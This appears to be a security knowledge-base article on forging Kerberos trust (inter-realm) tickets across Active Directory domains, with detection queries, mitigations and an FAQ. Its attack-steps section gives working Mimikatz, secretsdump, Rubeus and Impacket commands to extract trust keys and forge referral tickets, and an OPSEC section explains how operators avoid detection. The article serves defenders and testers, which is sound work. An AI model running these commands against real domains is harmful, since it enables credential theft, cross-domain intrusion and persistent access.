How it works
Kerberos crosses domain boundaries with referral tickets. A user in domain A who asks for a service in domain B gets, from A's KDC, a ticket for B's ticket-granting service (krbtgt/B). That referral is not encrypted with either domain's krbtgt key. It is encrypted with the inter-realm key: a secret the two domains agreed on when the trust was created. B's KDC decrypts the referral with the same key, reads the authorization data and issues a service ticket.
The secret is stored on both sides:
- In the trusting domain, in the trusted domain object (TDO) under the
Systemcontainer, as the incoming and outgoing trust authentication information, each with a current and a previous value. - In the trusted domain, as the password of the interdomain trust account, a user object named after the trusting domain with a trailing dollar sign (for example
PARTNER$).
Whoever holds this key can do what A's KDC does: write a referral ticket for any user of A, with any group SIDs in its privilege attribute certificate, and hand it to B's KDC. This has three properties that a Golden Ticket lacks. The source domain's KDC is never contacted, so it logs nothing. The ticket does not depend on the krbtgt key, so a krbtgt reset does not end the access. And the key is rarely on anyone's rotation list.
What the forged ticket is worth depends on SID filtering at the receiving side:
- Inside a forest, SIDs of other domains of the forest are not removed. A referral with the Enterprise Admins SID is the trust key variant of child-to-parent domain escalation.
- Across a forest trust, SIDs that belong to the trusting forest are removed, and so are the well-known privileged RIDs below 1000 (500, 512, 519 and the like). SIDs of the trusted forest's own users and groups with a RID of 1000 or higher pass, so the attacker can be any of them.
- Across a quarantined external trust, only SIDs of the directly trusted domain are accepted.
A filter removes SIDs; it does not reject the ticket. Authentication continues with what is left.
Trust account variant. In a one-way trust where PARTNER trusts CORP, an attacker who controls PARTNER cannot use the trust normally, because it points the other way. But PARTNER's domain controllers hold the trust secret, and that secret is the password of the PARTNER$ account in CORP. The attacker requests a TGT in CORP as PARTNER$ and becomes an authenticated principal there.
Prerequisites
- Administrator access to a domain controller on one side of the trust, or replication rights in the domain that holds the trust account.
- The domain SID of the trusted domain, and the SIDs to claim.
- Network access to a KDC of the target domain.
- For a useful result: rights in the target domain that are granted to SIDs which pass the filter. Typical cases are a group of the trusted domain that is a member of a local Administrators group, or resources shared with the trusted domain's users.
- Selective authentication, where enabled, adds a second gate: the claimed identity also needs the Allowed to Authenticate permission on the target computer.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
The examples use corp.example.com (CORP, the trusted domain, SID S-1-5-21-1111111111-1111111111-1111111111) and partner.example.com (PARTNER, the trusting domain).
1. Enumerate the trusts
Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType, IntraForest,
ForestTransitive, SIDFilteringQuarantined, SIDFilteringForestAware, SelectiveAuthentication
# The interdomain trust accounts held in this domain
Get-ADUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=2048)' | Select-Object SamAccountName
2. Read the trust key
On a domain controller, Mimikatz asks the LSA for the trust authentication information and prints the current and previous keys for each direction, with the derived RC4 and AES keys:
mimikatz # privilege::debug
mimikatz # lsadump::trust /patch
Over the network, replication of the trust account returns the same secret:
secretsdump.py -just-dc-user 'PARTNER$' corp.example.com/admin@DC01.corp.example.com
3. Forge the referral ticket
Rubeus builds a ticket for krbtgt/<target domain> with the silver command. /ldap fills the PAC from the real account, and /sids adds the SIDs to claim, here a CORP group with a RID above 1000 that has rights in PARTNER.
.\Rubeus.exe silver /user:alice /ldap /service:krbtgt/partner.example.com /rc4:<trust_key> /sids:S-1-5-21-1111111111-1111111111-1111111111-1120 /nowrap
Mimikatz does the same with kerberos::golden when /service and /target are given:
mimikatz # kerberos::golden /user:alice /domain:corp.example.com /sid:S-1-5-21-1111111111-1111111111-1111111111 /id:1105 /groups:513 /sids:S-1-5-21-1111111111-1111111111-1111111111-1120 /rc4:<trust_key> /service:krbtgt /target:partner.example.com /ticket:referral.kirbi
Impacket forges it from Linux and writes alice.ccache; ticketConverter.py turns that into a .kirbi file for the next step.
ticketer.py -nthash <trust_key> -domain-sid S-1-5-21-1111111111-1111111111-1111111111 -domain corp.example.com -extra-sid S-1-5-21-1111111111-1111111111-1111111111-1120 -spn krbtgt/partner.example.com alice
ticketConverter.py alice.ccache referral.kirbi
4. Exchange it for a service ticket in the target domain
.\Rubeus.exe asktgs /ticket:referral.kirbi /service:cifs/SRV01.partner.example.com /dc:DC01.partner.example.com /ptt
dir \\SRV01.partner.example.com\C$
Trust account variant
From the trusting side of a one-way trust, use the trust secret as the password of the trust account in the trusted domain:
# Run with the key read from a PARTNER domain controller in step 2
.\Rubeus.exe asktgt /user:PARTNER$ /domain:corp.example.com /rc4:<trust_key> /dc:DC01.corp.example.com /nowrap /ptt
The session is now an authenticated CORP principal. It can query LDAP and request service tickets in CORP, which is enough for directory reconnaissance and for attacks open to any domain account, such as Kerberoasting.
Impact
The attacker gets service tickets in the trusting domain for identities of the trusted domain, with group SIDs of their choice within the filter. Inside a forest that means Enterprise Admins and the whole forest. Across forests it means every right the trusting side has granted to users and groups of the trusted side, which is often more than its owners remember: local administrator groups, file shares, databases and applications. It is lateral movement across an organizational boundary.
The key also works as persistence. It is unaffected by password resets and by krbtgt rotation in either domain, and it remains valid until the trust password has been changed twice.
OPSEC and artifacts
- Reading the key on a DC.
lsadump::trust /patchpatches LSA code in memory on a domain controller. That is an endpoint artifact on a closely watched host: process access tolsass.exe, the tool on disk or in memory. - Reading the key by replication. Replicating the trust account from a host that is not a domain controller writes event 4662 with the replication rights, which the DCSync detection rules match. Operators choose the path the defenders watch less.
- Nothing on the source KDC. A forged referral was never issued. The trusted domain's controllers have no event 4769 for
krbtgt/<target>, and no directory object changes. This absence is the main reason the technique is used. - Encryption type. The Rubeus documentation notes that modern domains use AES by default, with inter-realm trust tickets among the few exceptions. An RC4 referral therefore stands out less than an RC4 TGT does, unless the trust has been set to AES.
- On the target KDC. The service ticket request is logged as event 4769 with the foreign realm in the account name, and the logon on the target host as event 4624. Both look like ordinary cross-domain use.
- Filtered SIDs are logged. If the forged PAC carries a SID the trust does not accept, the trusting domain controller writes event 4675 with the SIDs it removed. Operators who know the filtering rules claim only SIDs that pass.
- Trust account variant. The TGT request is logged in the trusted domain as event 4768 for the account
PARTNER$, from the attacker's address, followed by its LDAP and ticket activity.
Detection
- Referral used but never issued. For a cross-domain logon, the trusted domain's controllers normally log the referral request (4769 for the
krbtgtservice of the other domain) shortly before the trusting domain's controllers log the service ticket request. A service ticket request from a foreign-realm user with no referral issuance on any controller of that realm points to a forged referral. This needs Kerberos events from both domains in one place; missing collection and ticket caching produce the same gap, so use it as a lead and not as proof. - SID filtering events. Any 4675 deserves a look: read the filtered SIDs. A privileged RID or a SID of the local forest arriving from a partner is not something normal clients send.
- Trust account sign-ins. 4768 for an interdomain trust account from an address that is not a domain controller of the partner domain, and any interactive or LDAP activity under that account.
- Key theft. DCSync-style replication of a trust account or of the
Systemcontainer, and LSASS access on domain controllers. - Trust changes. An attacker with this level of access can also relax the trust; the Domain Trust Modification rules cover events 4706 and 4716.
// Trust accounts requesting TGTs, and SIDs filtered on trusts
WindowsEvent
| where Channel == "Security" and Provider == "Microsoft-Windows-Security-Auditing"
| where EventID in (4768, 4675)
| extend Account = tostring(EventData.TargetUserName), Source = tostring(EventData.IpAddress)
| where EventID == 4675 or Account in~ ("PARTNER$")
| project TimeGenerated, Computer, EventID, Account, Source, EventData
| order by TimeGenerated asc
Replace the account list with the trust accounts of your domain. The Golden Ticket detection rules describe the related check for service tickets without a matching TGT.
Mitigation
- Protect domain controllers on both sides. The key is only as safe as the less protected domain. A partner's weak domain is a path to the rights you granted that partner. See the Active Directory hardening guide.
- Keep SID filtering on. Leave quarantine enabled on external trusts and do not enable SID history on forest trusts.
netdom trust <TrustingDomain> /domain:<TrustedDomain> /quarantineshows the state, and/enablesidhistoryshows it for an outbound forest trust. - Use selective authentication on external and forest trusts where the set of users and servers is known (
netdom trustwith/selectiveauth), and review who holds Allowed to Authenticate on sensitive computers. - Grant foreign principals little. Review the groups and access control entries in your domain that name users or groups of trusted domains. A forged ticket can claim any of them.
- Prefer one-way trusts and remove unused ones. Every trust adds a key that two sets of administrators can read.
- Reset trust passwords after a compromise, twice and on both sides, in addition to the krbtgt reset. Rotating
krbtgtalone leaves the trust keys valid. - Move trusts to AES so that an RC4 referral becomes an anomaly; see how to secure Kerberos.
Detection rules for this attack
Log events to collect
FAQ
How is a trust ticket different from a Golden Ticket?
A Golden Ticket is a ticket-granting ticket signed with a domain's krbtgt key. A trust ticket is a referral ticket signed with the key two domains share for their trust. It is presented directly to the other domain's KDC, the source domain's KDC never sees it, and resetting krbtgt does not invalidate it.
Does SID filtering stop forged trust tickets?
It limits them. The trusting domain filters the SIDs in the forged ticket by the rules of that trust. Inside a forest almost everything passes, including Enterprise Admins. Across a forest trust, SIDs of the trusting forest and well-known privileged RIDs are removed, but the attacker can still claim any ordinary user or group of the trusted forest.
What is the trust account and why does it matter?
For each trust, the trusted domain holds a user account named after the trusting domain with a dollar sign, for example PARTNER$. Its password is the trust secret, which the trusting domain also stores. An attacker who controls the trusting side of a one-way trust can read that secret and sign in to the trusted domain as this account, against the direction of the trust.
How do you invalidate a stolen trust key?
Reset the trust password on both sides, and do it twice, because the previous password stays valid next to the current one. Resetting the krbtgt password does not affect trust keys. If the domain controller that held the key was compromised, the rest of that domain's secrets need the same treatment.
References
- Steal or Forge Kerberos Tickets, T1558 (MITRE ATT&CK)
- RFC 4120: The Kerberos Network Authentication Service (V5), cross-realm operation
- MS-PAC: SID filtering and claims transformation
- netdom trust (Microsoft Learn)
- Rubeus: silver (referral TGT example) and asktgs (GhostPack)
- Mimikatz: kerberos module (gentilkiwi wiki)
- 4675(S): SIDs were filtered (Microsoft Learn)
- Domain Trust Discovery, T1482 (MITRE ATT&CK)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.